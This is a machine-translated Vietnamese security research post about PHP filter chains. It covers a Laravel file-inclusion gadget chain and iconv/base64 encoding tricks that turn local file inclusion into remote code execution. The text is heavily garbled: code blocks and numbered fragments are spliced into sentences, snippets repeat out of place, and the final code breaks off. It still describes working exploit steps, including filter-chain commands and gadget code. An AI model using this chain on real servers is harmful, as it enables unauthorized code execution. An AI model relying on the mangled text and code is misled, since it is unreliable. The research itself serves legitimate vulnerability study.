Bộ lọc PHP HTML

Tìm kiếm các chuỗi tiện ích mới để khai thác các lỗ hổng khử lưu huỳnh có thể rất tẻ nhạt. Trong bài viết này, chúng tôi sẽ giải thích cách kết hợp một kỹ thuật mới được phát hiện gần đây có tên là bộ lọc PHP [LOKNOP-GIST], để chuyển đổi các nguyên hàm bao gồm tệp trong các ứng dụng PHP sang thực thi mã từ xa. Để hỗ trợ giải thích của chúng tôi, chúng tôi sẽ dựa vào chuỗi tiện ích bao gồm tệp Laravel đã được phát hiện trong quá trình nghiên cứu này

Nó bắt đầu như thế nào

Nghiên cứu về chuỗi POP

Tất cả bắt đầu từ nghiên cứu về chuỗi tiện ích để cải thiện kỹ năng phân tích mã trên PHP. Lần đầu tiên chúng tôi bắt đầu với một trong những khuôn khổ yêu thích của tôi. giao hưởng. Thật không may, nhiệm vụ khó hơn dự kiến ​​vì hầu hết các đối tượng có khả năng thú vị đều được bảo vệ bởi cơ chế sau

Vì phương thức

router;

        require $routes;
    }
}
5 được gọi tự động khi hủy đánh số, nên một phương thức
router;

        require $routes;
    }
}
6 sẽ được ném ra và phương thức
router;

        require $routes;
    }
}
7 sẽ không bao giờ được thực thi

Bộ lọc PHP HTML

Sau một thời gian không tìm thấy gì theo đúng nghĩa đen, chúng tôi đã cố gắng xem xét một khung công tác PHP phổ biến khác. ấu trùng

Tệp bao gồm chuỗi trên khung Laravel

Các nghiên cứu hiển thị kết quả nhanh hơn rất nhiều trên Laravel. Một chuỗi POP bao gồm tệp đang hoạt động đã được tìm thấy sau vài giờ trên

router;

        require $routes;
    }
}
8 v9. 34. 0 gói. Mặc dù Các nhà phát triển của Laravel đã được liên hệ về vấn đề này, nhưng theo họ, họ không có ý định khắc phục chuỗi tiện ích .
router;

        require $routes;
    }
}
9 on untrusted user inputs.

Bộ lọc PHP HTML
Tệp bao gồm chuỗi tiện ích trên laravel/framework 9. 34. 0

PHP unserialization sẽ không được đề cập ở đây vì đã có một số tài nguyên tốt về chủ đề này, chẳng hạn như tài nguyên này. [OWASP-Chuỗi POP]

Chuỗi chúng tôi tìm thấy hoạt động như sau

  • trong 
    $ iconv -l
    The following list contains all the coded character sets known.  This does
    not necessarily mean that all combinations of these names can be used for
    the FROM and TO command line parameters.  One coded character set can be
    listed with several different names (aliases).
    
      437, 500, 500V1, 850, 851, 852, 855, 856, 857[...]
    0
name = $name;
        $this->options = $options;
        $this->registrar = $registrar;
        $this->controller = $controller;
[...]

    public function register()
    {
        $this->registered = true;

        return $this->registrar->register(
            $this->name, $this->controller, $this->options
        );
    }
[...]
    public function __destruct()
    {
        if (! $this->registered) {
            $this->register();
        }
    }
}

Khi hàm

$ iconv -l
The following list contains all the coded character sets known.  This does
not necessarily mean that all combinations of these names can be used for
the FROM and TO command line parameters.  One coded character set can be
listed with several different names (aliases).

  437, 500, 500V1, 850, 851, 852, 855, 856, 857[...]
1 được gọi, nếu giá trị
$ iconv -l
The following list contains all the coded character sets known.  This does
not necessarily mean that all combinations of these names can be used for
the FROM and TO command line parameters.  One coded character set can be
listed with several different names (aliases).

  437, 500, 500V1, 850, 851, 852, 855, 856, 857[...]
2 không được xác định, thì luồng thực thi trước tiên sẽ chuyển đến hàm
$ iconv -l
The following list contains all the coded character sets known.  This does
not necessarily mean that all combinations of these names can be used for
the FROM and TO command line parameters.  One coded character set can be
listed with several different names (aliases).

  437, 500, 500V1, 850, 851, 852, 855, 856, 857[...]
4 của đối tượng ______6_______3. Sau đó, cái sau gọi hàm
$ iconv -l
The following list contains all the coded character sets known.  This does
not necessarily mean that all combinations of these names can be used for
the FROM and TO command line parameters.  One coded character set can be
listed with several different names (aliases).

  437, 500, 500V1, 850, 851, 852, 855, 856, 857[...]
4 của một đối tượng khác có thể được xác định tùy ý

Tất cả những gì cần làm từ thời điểm này là tìm một đối tượng khác xác định hàm

$ iconv -l
The following list contains all the coded character sets known.  This does
not necessarily mean that all combinations of these names can be used for
the FROM and TO command line parameters.  One coded character set can be
listed with several different names (aliases).

  437, 500, 500V1, 850, 851, 852, 855, 856, 857[...]
4 trong gói Laravel. Bởi vì PHP là ngôn ngữ gõ yếu, chúng ta có thể đặt giá trị của thuộc tính đăng ký cho bất kỳ đối tượng nào khác

Ngoài ra, nếu một phương thức được gọi với nhiều tham số hơn nguyên mẫu của nó, các tham số bổ sung sẽ bị bỏ qua. Điều này có nghĩa là chúng ta có thể gọi bất kỳ phương thức đăng ký nào từ bất kỳ đối tượng Laravel nào với 0 đến 3 tham số

  • trong
    $ iconv -l
    The following list contains all the coded character sets known.  This does
    not necessarily mean that all combinations of these names can be used for
    the FROM and TO command line parameters.  One coded character set can be
    listed with several different names (aliases).
    
      437, 500, 500V1, 850, 851, 852, 855, 856, 857[...]
    7
router;

        require $routes;
    }
}

Lớp

$ iconv -l
The following list contains all the coded character sets known.  This does
not necessarily mean that all combinations of these names can be used for
the FROM and TO command line parameters.  One coded character set can be
listed with several different names (aliases).

  437, 500, 500V1, 850, 851, 852, 855, 856, 857[...]
8 có một phương thức đăng ký với một đối số và, đóng băng trên chiếc bánh, có một hàm
$ iconv -l
The following list contains all the coded character sets known.  This does
not necessarily mean that all combinations of these names can be used for
the FROM and TO command line parameters.  One coded character set can be
listed with several different names (aliases).

  437, 500, 500V1, 850, 851, 852, 855, 856, 857[...]
9 cho phép trong đó chúng ta hoàn toàn kiểm soát tham số
$ php -r "echo base64_encode('base64');"
YmFzZTY0

$ php -r "echo base64_decode('YmFzZTY0');"
base64

$ php -r "echo base64_decode('@_>YmFzZTY0');"
base64

$ echo '@_>YmFzZTY0' > test.txt

$ php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"
base64
0

Kể từ thời điểm này, chúng tôi đã đưa tệp cục bộ vào phiên bản Laravel mới nhất. Tuy nhiên, điều này là không đủ so với nhiều cách hiện có để thực thi mã thông qua hủy tuần tự hóa trên Laravel như hiển thị danh sách chuỗi cửa sổ bật lên có sẵn của phpggc.

Bộ lọc PHP HTML
Danh sách chuỗi cửa hàng pop của Laravel trên phpggc

Sau khi tìm hiểu một thời gian để thử và chuyển đổi tệp nguyên thủy bao gồm tệp này thành thực thi mã từ xa, chúng tôi đã được một đồng nghiệp (@LoadLow) khuyên nên xem xét chuỗi bộ lọc PHP. Bạn có thể tìm thấy một bài viết khá hay của loknop về chủ đề này tại đây. [LOKNOP-GIST]. Việc khai thác được mô tả trong bài viết không linh hoạt vì nó bỏ sót nhiều tải trọng có thể xảy ra, nhưng từ thời điểm này, chúng tôi muốn tìm cách điều chỉnh nó cho phù hợp với tình huống của mình

Bộ lọc PHP để giải cứu

Trên khắp thế giới, có gần 7000 ngôn ngữ được nói. Để cho phép hầu hết mọi người trên Trái đất được hưởng lợi từ internet và giao tiếp với nhau, nhiều ký tự in được phải được kích hoạt. Tất cả chúng ta đều biết bảng mã hóa ASCII cơ bản của mình, nhưng nó quá nhỏ để nói bằng tiếng Nhật hoặc thậm chí bằng tiếng Hy Lạp có chứa các ký tự như ' λ ' . Do đó, để có thể in các ký tự từ các ngôn ngữ khác, hoặc thậm chí là biểu tượng cảm xúc, ☺, nhiều bảng mã hóa đã được tạo để chuyển đổi hoặc thậm chí chuyển các ký tự từ ngôn ngữ này sang ngôn ngữ khác khi có thể. ν', 'π'. Thus, to be able to print characters from other languages, or even emojis, ☺, many encoding tables were created to convert or even translit characters from one language to another when possible.

Tất cả những ví dụ này chỉ được liên kết với các ngôn ngữ được nói bởi con người. Nhiều RFC được thiết kế cho các giao thức khác để làm cho các ký tự có thể hiểu được trên các hệ thống cũ hơn

Trên Linux, bạn có thể liệt kê các bí danh của bảng chuyển đổi thông qua lệnh

$ php -r "echo base64_encode('base64');"
YmFzZTY0

$ php -r "echo base64_decode('YmFzZTY0');"
base64

$ php -r "echo base64_decode('@_>YmFzZTY0');"
base64

$ echo '@_>YmFzZTY0' > test.txt

$ php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"
base64
1

$ iconv -l
The following list contains all the coded character sets known.  This does
not necessarily mean that all combinations of these names can be used for
the FROM and TO command line parameters.  One coded character set can be
listed with several different names (aliases).

  437, 500, 500V1, 850, 851, 852, 855, 856, 857[...]

Các bảng chuyển đổi này cũng có thể truy cập thông qua các trình bao bọc

$ php -r "echo base64_encode('base64');"
YmFzZTY0

$ php -r "echo base64_decode('YmFzZTY0');"
base64

$ php -r "echo base64_decode('@_>YmFzZTY0');"
base64

$ echo '@_>YmFzZTY0' > test.txt

$ php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"
base64
2.

Bộ lọc

$ php -r "echo base64_encode('base64');"
YmFzZTY0

$ php -r "echo base64_decode('YmFzZTY0');"
base64

$ php -r "echo base64_decode('@_>YmFzZTY0');"
base64

$ echo '@_>YmFzZTY0' > test.txt

$ php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"
base64
3 khả dụng nếu hỗ trợ iconv được bật và việc sử dụng chúng tương đương với việc xử lý tất cả dữ liệu luồng bằng iconv() . Các bộ lọc này không hỗ trợ các tham số, nhưng thay vào đó, mã hóa đầu vào và đầu ra sẽ được cung cấp như một phần của tên bộ lọc, tôi. e. hoặc là
$ php -r "echo base64_encode('base64');"
YmFzZTY0

$ php -r "echo base64_decode('YmFzZTY0');"
base64

$ php -r "echo base64_decode('@_>YmFzZTY0');"
base64

$ echo '@_>YmFzZTY0' > test.txt

$ php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"
base64
4 hoặc
$ php -r "echo base64_encode('base64');"
YmFzZTY0

$ php -r "echo base64_decode('YmFzZTY0');"
base64

$ php -r "echo base64_decode('@_>YmFzZTY0');"
base64

$ echo '@_>YmFzZTY0' > test.txt

$ php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"
base64
5 (cả hai ký hiệu đều tương đương về mặt ngữ nghĩa).

Trình bao bọc này tạo liên kết giữa trình bao bọc và hàm PHP

$ php -r "echo base64_encode('base64');"
YmFzZTY0

$ php -r "echo base64_decode('YmFzZTY0');"
base64

$ php -r "echo base64_decode('@_>YmFzZTY0');"
base64

$ echo '@_>YmFzZTY0' > test.txt

$ php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"
base64
6 [PHP-DOC-ICONV-FUNC]

Thủ thuật khai thác này lần đầu tiên được trình bày chi tiết trên một bài viết của CTF, người đã tham khảo một bài viết khác từ gynvael [GYNVAEL-BLOG POST] bằng cách sử dụng trình bao bọc PHP cho các mục đích khác vào năm 2018. Chiêu trò không mới nhưng chỉ bắt đầu bị dân chủ hóa vào khoảng cuối năm 2021

Đào sâu hơn, nó hoạt động như thế nào

Có thể chuyển đổi nhiều ký tự từ một chuỗi bằng cách sử dụng các mã hóa khác nhau thông qua

$ php -r "echo base64_encode('base64');"
YmFzZTY0

$ php -r "echo base64_decode('YmFzZTY0');"
base64

$ php -r "echo base64_decode('@_>YmFzZTY0');"
base64

$ echo '@_>YmFzZTY0' > test.txt

$ php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"
base64
6, nhưng bắt buộc phải kiểm soát dữ liệu được tạo. Chúng tôi có thể trả lời cả hai vấn đề bằng base64.

Kiểm soát dữ liệu được tạo

Để có thể loại bỏ các ký tự rác, cách thức hoạt động của

$ php -r "echo base64_encode('base64');"
YmFzZTY0

$ php -r "echo base64_decode('YmFzZTY0');"
base64

$ php -r "echo base64_decode('@_>YmFzZTY0');"
base64

$ echo '@_>YmFzZTY0' > test.txt

$ php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"
base64
8 trên PHP khá thú vị

$ php -r "echo base64_encode('base64');"
YmFzZTY0

$ php -r "echo base64_decode('YmFzZTY0');"
base64

$ php -r "echo base64_decode('@_>YmFzZTY0');"
base64

$ echo '@_>YmFzZTY0' > test.txt

$ php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"
base64

Ở ví dụ trên, chuỗi "base64" được mã hóa base64, sau đó được giải mã. Phần thú vị là khi chúng tôi thêm chuỗi "@_>" vào giá trị base64 của mình. Như bạn có thể thấy, PHP không đưa ra lỗi mà chỉ đơn giản bỏ qua chúng và hoạt động như thể chúng không tồn tại. Hành vi này là vàng ròng trong trường hợp của chúng tôi vì nó cho phép chúng tôi lọc các ký tự hợp lệ

Ngay cả khi bộ lọc PHP

$ php -r "echo base64_encode('base64');"
YmFzZTY0

$ php -r "echo base64_decode('YmFzZTY0');"
base64

$ php -r "echo base64_decode('@_>YmFzZTY0');"
base64

$ echo '@_>YmFzZTY0' > test.txt

$ php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"
base64
9 và hàm
$ echo 'YmFzZTY0' > test.txt

$ php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"
base64

$ php -r "echo base64_decode('YmFzZ==TY0');"
base64

$ echo 'YmFzZ==TY0' > test.txt

$ php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"

Warning: file_get_contents(): stream filter (convert.base64-decode): invalid byte sequence in Command line code on line 1

$ echo 'YmFzZTY0==' > test.txt

$ php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"

Warning: file_get_contents(): stream filter (convert.base64-decode): invalid byte sequence in Command line code on line 1
0 thực sự gần gũi trong hành vi của chúng, thì vẫn có sự khác biệt giữa chúng về cách diễn giải ký tự '='

$ echo 'YmFzZTY0' > test.txt

$ php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"
base64

$ php -r "echo base64_decode('YmFzZ==TY0');"
base64

$ echo 'YmFzZ==TY0' > test.txt

$ php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"

Warning: file_get_contents(): stream filter (convert.base64-decode): invalid byte sequence in Command line code on line 1

$ echo 'YmFzZTY0==' > test.txt

$ php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"

Warning: file_get_contents(): stream filter (convert.base64-decode): invalid byte sequence in Command line code on line 1

Như chúng ta có thể thấy, vì một số lý do, bộ lọc

$ php -r "echo base64_encode('base64');"
YmFzZTY0

$ php -r "echo base64_decode('YmFzZTY0');"
base64

$ php -r "echo base64_decode('@_>YmFzZTY0');"
base64

$ echo '@_>YmFzZTY0' > test.txt

$ php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"
base64
9 không xử lý tốt các dấu bằng so với hàm
$ echo 'YmFzZTY0' > test.txt

$ php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"
base64

$ php -r "echo base64_decode('YmFzZ==TY0');"
base64

$ echo 'YmFzZ==TY0' > test.txt

$ php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"

Warning: file_get_contents(): stream filter (convert.base64-decode): invalid byte sequence in Command line code on line 1

$ echo 'YmFzZTY0==' > test.txt

$ php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"

Warning: file_get_contents(): stream filter (convert.base64-decode): invalid byte sequence in Command line code on line 1
0 mặc định của PHP. Để giải quyết vấn đề này, cũng cần phải loại bỏ các dấu bằng. Một trong những giải pháp là sử dụng mã hóa UTF7, giúp chuyển đổi các dấu bằng thành các ký tự khác mà không làm phiền bộ lọc
$ php -r "echo base64_encode('base64');"
YmFzZTY0

$ php -r "echo base64_decode('YmFzZTY0');"
base64

$ php -r "echo base64_decode('@_>YmFzZTY0');"
base64

$ echo '@_>YmFzZTY0' > test.txt

$ php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"
base64
9

$ php -r "echo file_get_contents('php://filter/convert.iconv.UTF8.UTF7/convert.base64-decode/resource=test.txt');"
base64���

thêm ký tự

Bây giờ chúng ta có thể lọc các ký tự hợp lệ từ rác, hãy thảo luận về cốt lõi của thủ thuật này. các ký tự được thêm vào từ mã hóa. Và ai đó có thể hỏi "tại sao mã hóa lại thêm ký tự?". Để trả lời câu hỏi này, chúng ta phải tìm hiểu một chút về một số RFC mã hóa ký tự, bởi vì thực sự, một số trong số chúng thực sự thêm các ký tự vào trước theo cách có chủ ý

bảng mã Unicode

Trong một số trường hợp, chữ ký được thêm vào trước bằng cách mã hóa. Trong trường hợp Unicode (UTF-16), bạn phải cung cấp cho hệ thống của mình thứ tự các byte sẽ sử dụng (Đánh dấu thứ tự byte BOM), bằng cách tìm hiểu một chút trong RFC 2781 đề cập đến nó

The Unicode Standard and ISO 10646 define the character "ZERO WIDTH
NON-BREAKING SPACE" (0xFEFF), which is also known informally as "BYTE
ORDER MARK" (abbreviated "BOM").This usage, suggested by Unicode 
and ISO 10646 Annex F (informative), is to prepend a 0xFEFF character 
to a stream of Unicode characters as a "signature"; a receiver of such 
a serialized stream may then use the initial character both as a hint 
that the stream consists of Unicode characters and as a way to recognize 
the serialization order.
In serialized UTF-16 prepended with such a signature, the order is
big-endian if the first two octets are 0xFE followed by 0xFF; if they
are 0xFF followed by 0xFE, the order is little-endian. Note that
0xFFFE is not a Unicode character, precisely to preserve the
usefulness of 0xFEFF as a byte-order mark.

Đây chỉ là một ví dụ về lý do tại sao một ký tự có thể được thêm vào trước một chuỗi tùy thuộc vào mã hóa được sử dụng

Mã hóa ký tự tiếng Hàn cho tin nhắn Internet

Mã hóa ký tự tiếng Hàn cho tin nhắn Internet (ISO-2022-KR) được trình bày chi tiết trong RFC sau. [RFC-1557]

It is assumed that the starting code of the message is ASCII.  ASCII
   and Korean characters can be distinguished by use of the shift
   function.  For example, the code SO will alert us that the upcoming
   bytes will be a Korean character as defined in KSC 5601.  To return
   to ASCII the SI code is used.

   Therefore, the escape sequence, shift function and character set used
   in a message are as follows:

           SO           KSC 5601
           SI           ASCII
           ESC $ ) C    Appears once in the beginning of a line
                            before any appearance of SO characters.

Về cơ bản, điều đó có nghĩa là để được coi là ISO-2022-KR, một thông báo phải bắt đầu bằng chuỗi "ESC $ ) C"

Mã hóa này là một trong các phiên bản mã ISO 2022 7 bit cùng với ISO-2022-CN, ISO-2022-CN-EXT, ISO-2022-JP, ISO-2022-JP-1, ISO-2022-JP-2. Tuy nhiên, trong danh sách mã hóa này, ISO-2022-KR là ký tự đầu tiên duy nhất có hàm

$ php -r "echo base64_encode('base64');"
YmFzZTY0

$ php -r "echo base64_decode('YmFzZTY0');"
base64

$ php -r "echo base64_decode('@_>YmFzZTY0');"
base64

$ echo '@_>YmFzZTY0' > test.txt

$ php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"
base64
6 PHP

name = $name;
        $this->options = $options;
        $this->registrar = $registrar;
        $this->controller = $controller;
[...]

    public function register()
    {
        $this->registered = true;

        return $this->registrar->register(
            $this->name, $this->controller, $this->options
        );
    }
[...]
    public function __destruct()
    {
        if (! $this->registered) {
            $this->register();
        }
    }
}
0

Mã hóa có thể sử dụng để thêm ký tự

Bảng sau đây tóm tắt những gì đã được thảo luận về ISO/IEC 2022 và bảng mã Unicode. Những ký tự đó sẽ thêm vào trước các ký tự mà không vi phạm tính toàn vẹn của chuỗi base64, giúp chúng có thể sử dụng được trong chuỗi bộ lọc PHP

Định danh mã hóaKý tự thêm trướcISO2022KR\x1b$)CUTF16\xff\xfeUTF32\xff\xfe\x00\x00

Chuyển đổi chúng và có được những gì bạn muốn

Phần cuối cùng của chuyến đi mã hóa của chúng tôi là khá rõ ràng. Chúng tôi vừa chứng minh rằng việc thêm trước ký tự bằng cách đọc tệp là khả thi. Bây giờ sẽ không tuyệt sao khi có thể thêm các ký tự tùy ý?

Ví dụ. thêm 8 vào chuỗi của bạn

Mỗi bí danh chuyển đổi được liên kết trực tiếp với một bảng chứa các ký tự có thể in được liên kết với nó. Chúng tôi muốn nhảy từ bàn này sang bàn khác để có được một nhân vật cụ thể. Để thêm số 8 vào trước, chúng tôi sẽ yêu cầu  iso8859-10 (bao gồm các ngôn ngữ Scandinavia) và bảng UNICODE

Bảng Iso8859-10 (tiếng Latinh 6) x0x1x2x3x4x5x6x7x8x9xAxBxCxDxExF0x                1x                2xSP. "#$%&'()*+,-. /3x0123456789. ;<=>?4x@ABCDEFGHIJKLMNO5xPQRSTUVWXYZ[\]^_6x`abcdefghijklmno7xpqrstuvwxyz{. } ~ 8x 9x axnbsþĸ

 

Một phần của bảng UNICODE (UTF 16) x00x01x02. x35x36x37x38. 00xNULSOHSTX 5678. 01xĀāĂ ĵĶķ ĸ /.

Lý thuyết hiện đã được trình bày chi tiết, hãy xem nó hoạt động cụ thể như thế nào với một ví dụ ngắn

Bộ lọc PHP HTML
Thêm 8 vào một chuỗi bằng cách sử dụng các bảng mã khác nhau

Như minh họa ở trên, có thể đạt được điểm 8 trước trong 3 bước

  • Chuyển đổi một chuỗi thành UTF16 để thêm vào trước '\xff\xfe'
  • Chuyển đổi chuỗi đã tạo thành latin6, '\xff' tương đương với ký tự latin kra 'ĸ'
  • Chuyển đổi chuỗi trở lại UTF16 trong đó ký tự 'ĸ' tương đương với '\x01\x38'
  • Cuối cùng, chuỗi sẽ được diễn giải theo từng ký tự khi được in, vì vậy '\x38' trở thành '8'

 

name = $name;
        $this->options = $options;
        $this->registrar = $registrar;
        $this->controller = $controller;
[...]

    public function register()
    {
        $this->registered = true;

        return $this->registrar->register(
            $this->name, $this->controller, $this->options
        );
    }
[...]
    public function __destruct()
    {
        if (! $this->registered) {
            $this->register();
        }
    }
}
1

 

name = $name;
        $this->options = $options;
        $this->registrar = $registrar;
        $this->controller = $controller;
[...]

    public function register()
    {
        $this->registered = true;

        return $this->registrar->register(
            $this->name, $this->controller, $this->options
        );
    }
[...]
    public function __destruct()
    {
        if (! $this->registered) {
            $this->register();
        }
    }
}
2

Những gì bạn không muốn

Bây giờ hãy thảo luận về những khó khăn gặp phải khi cố gắng thêm vào trước các ký tự tùy ý

Lần đầu tiên cố gắng tạo các ký tự base64 khác sau khi phát hiện ra phương pháp này dựa trên tập lệnh được tìm thấy trên Hacktricks. Tập lệnh này về cơ bản sẽ cưỡng bức bất kỳ mã định danh bảng iconv phổ biến nào một cách ngẫu nhiên và xem liệu ký tự được thêm vào có phải là một trong 64 ký tự được yêu cầu hay không. Nhưng tập lệnh này không kiểm tra xem tính toàn vẹn của các ký tự khác từ chuỗi ban đầu có được bảo toàn hay không

Trên Hacktricks, có một danh sách các nhân vật vũ phu có vẻ đầy hứa hẹn, nhưng nó không thể hoạt động trên một chuỗi đầy đủ và lý do khá thú vị. Hãy minh họa với chuỗi này bằng cách thêm 'b' vào một chuỗi

name = $name;
        $this->options = $options;
        $this->registrar = $registrar;
        $this->controller = $controller;
[...]

    public function register()
    {
        $this->registered = true;

        return $this->registrar->register(
            $this->name, $this->controller, $this->options
        );
    }
[...]
    public function __destruct()
    {
        if (! $this->registered) {
            $this->register();
        }
    }
}
3

Như chúng ta có thể thấy, codec CP1399 được sử dụng, là bí danh của một trong những phiên bản tiếng Nhật của Mã trao đổi thập phân được mã hóa nhị phân mở rộng (EBCDIC). Nó được sử dụng làm bảng chuyển đổi trên chuỗi này (thực sự gần với codec IBM 1027). Mã hóa này đã được sử dụng trên các hệ thống của IBM. Tuy nhiên, theo trang Wikipedia [EBCDIC-WIKI], đã xảy ra sự cố tương thích giữa EBCDIC và ASCII. Thật vậy, như chúng ta có thể thấy trong bảng sau, giá trị hex 42 không phải là ký tự 'B', mà là 。 trong EBCDIC

IBM 1027 x0x1x2x3x4x5x6x7x8x9xAxBxCxDxExF[...]                4xSP 。「」、・ヲァィ¢.<(+|5x&ゥェォャュョッーア!$*);¬6x-/イウエオカキクケ ,%_>?[...]                

Mặc dù điều này có vẻ vô nghĩa, nhưng hãy xem điều gì sẽ xảy ra từng bước trên chuỗi START của chúng ta khi chúng ta cố gắng thêm 'b' vào trước chuỗi đó bằng cách làm theo các bộ lọc

Bộ lọc PHP HTML
Phá vỡ tính toàn vẹn của chuỗi trong khi thêm 'b' vào trước

Codec UCS4 không được nêu chi tiết ở đây vì nó thực sự gần với UTF32. Nó sẽ chỉ thêm các byte rỗng vào mỗi ký tự

name = $name;
        $this->options = $options;
        $this->registrar = $registrar;
        $this->controller = $controller;
[...]

    public function register()
    {
        $this->registered = true;

        return $this->registrar->register(
            $this->name, $this->controller, $this->options
        );
    }
[...]
    public function __destruct()
    {
        if (! $this->registered) {
            $this->register();
        }
    }
}
4_______7_______5

Vì vậy, ký tự 'b' được thêm vào trước thành công, nhưng nội dung cũng bị thay đổi, bao gồm cả nội dung bạn đã tạo. Chuỗi START đã được chuyển đổi trong quá trình. Điều này về cơ bản có nghĩa là chuỗi bộ lọc này sẽ hủy bất kỳ ký tự nào bạn đã tạo trước ký tự này.

Theo logic này, ngay cả khi CSISO2022KR có vẻ hứa hẹn thì nó cũng không thực sự hữu ích. Nó thêm chuỗi '\x1b$)C' và vì 'C' là một trong 64 ký tự của . .

Thành thật mà nói, phần này của blogpost là phần khó viết nhất. Chúng tôi thực sự muốn tập trung vào phân tích đầy đủ về một chuỗi không ổn định để hiểu đầy đủ những gì hoạt động hay không. Các codec của IBM rất đa dạng, mỗi codec hoạt động theo cách của chúng và việc hiểu cách chúng chuyển đổi một chuỗi thành UTF8 lại là một câu chuyện khác. Một số bàn gần nhau chỉ khác một vài ký tự, vì vậy việc xây dựng một chuỗi từ bàn này sang bàn khác có thể nhanh chóng mất nhiều thời gian

Vá một vấn đề chính. yêu cầu của một đường dẫn tệp hợp lệ

Một trong những vấn đề chính mà mẹo này gặp phải là yêu cầu biết đường dẫn tệp hợp lệ để bao gồm/yêu cầu trên trình bao bọc PHP. Điều này không còn xảy ra nữa vì các trình bao bọc PHP cho phép lồng cái này vào cái khác

name = $name;
        $this->options = $options;
        $this->registrar = $registrar;
        $this->controller = $controller;
[...]

    public function register()
    {
        $this->registered = true;

        return $this->registrar->register(
            $this->name, $this->controller, $this->options
        );
    }
[...]
    public function __destruct()
    {
        if (! $this->registered) {
            $this->register();
        }
    }
}
6

Bằng cách sử dụng trình bao bọc PHP

$ echo 'YmFzZTY0' > test.txt

$ php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"
base64

$ php -r "echo base64_decode('YmFzZ==TY0');"
base64

$ echo 'YmFzZ==TY0' > test.txt

$ php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"

Warning: file_get_contents(): stream filter (convert.base64-decode): invalid byte sequence in Command line code on line 1

$ echo 'YmFzZTY0==' > test.txt

$ php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"

Warning: file_get_contents(): stream filter (convert.base64-decode): invalid byte sequence in Command line code on line 1
5 làm tài nguyên đầu vào của toàn bộ chuỗi bộ lọc, không còn cần phải đoán đường dẫn hợp lệ trên hệ thống tệp của mục tiêu, tùy thuộc vào hệ điều hành. Cũng không cần thiết phải đoán một đường dẫn được cho phép bởi chỉ thị
$ echo 'YmFzZTY0' > test.txt

$ php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"
base64

$ php -r "echo base64_decode('YmFzZ==TY0');"
base64

$ echo 'YmFzZ==TY0' > test.txt

$ php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"

Warning: file_get_contents(): stream filter (convert.base64-decode): invalid byte sequence in Command line code on line 1

$ echo 'YmFzZTY0==' > test.txt

$ php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"

Warning: file_get_contents(): stream filter (convert.base64-decode): invalid byte sequence in Command line code on line 1
6

Kết hợp tất cả lại với nhau trong một kịch bản

Sử dụng các yếu tố mà chúng tôi đã khám phá cho đến nay, chúng tôi đã tạo tập lệnh để tự động tạo chuỗi bộ lọc hợp lệ. Kịch bản này được lấy cảm hứng rất nhiều từ hai tài nguyên. [WUPCO-GITHUB-REPO], [LOKNOP-GIST] và đã được hoàn thiện với các chuỗi brute-force bổ sung và nhỏ hơn. Mỗi ký tự được tạo đã được kiểm tra để đảm bảo tính toàn vẹn của chuỗi còn nguyên vẹn trong khi xâu chuỗi các bộ lọc.

Về cơ bản, nó chuyển đổi một chuỗi thành chuỗi bộ lọc PHP hợp lệ. Ví dụ: chuỗi sau sẽ kích hoạt mã

$ echo 'YmFzZTY0' > test.txt

$ php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"
base64

$ php -r "echo base64_decode('YmFzZ==TY0');"
base64

$ echo 'YmFzZ==TY0' > test.txt

$ php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"

Warning: file_get_contents(): stream filter (convert.base64-decode): invalid byte sequence in Command line code on line 1

$ echo 'YmFzZTY0==' > test.txt

$ php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"

Warning: file_get_contents(): stream filter (convert.base64-decode): invalid byte sequence in Command line code on line 1
7 trên
$ iconv -l
The following list contains all the coded character sets known.  This does
not necessarily mean that all combinations of these names can be used for
the FROM and TO command line parameters.  One coded character set can be
listed with several different names (aliases).

  437, 500, 500V1, 850, 851, 852, 855, 856, 857[...]
9 hoặc
$ echo 'YmFzZTY0' > test.txt

$ php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"
base64

$ php -r "echo base64_decode('YmFzZ==TY0');"
base64

$ echo 'YmFzZ==TY0' > test.txt

$ php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"

Warning: file_get_contents(): stream filter (convert.base64-decode): invalid byte sequence in Command line code on line 1

$ echo 'YmFzZTY0==' > test.txt

$ php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"

Warning: file_get_contents(): stream filter (convert.base64-decode): invalid byte sequence in Command line code on line 1
9

name = $name;
        $this->options = $options;
        $this->registrar = $registrar;
        $this->controller = $controller;
[...]

    public function register()
    {
        $this->registered = true;

        return $this->registrar->register(
            $this->name, $this->controller, $this->options
        );
    }
[...]
    public function __destruct()
    {
        if (! $this->registered) {
            $this->register();
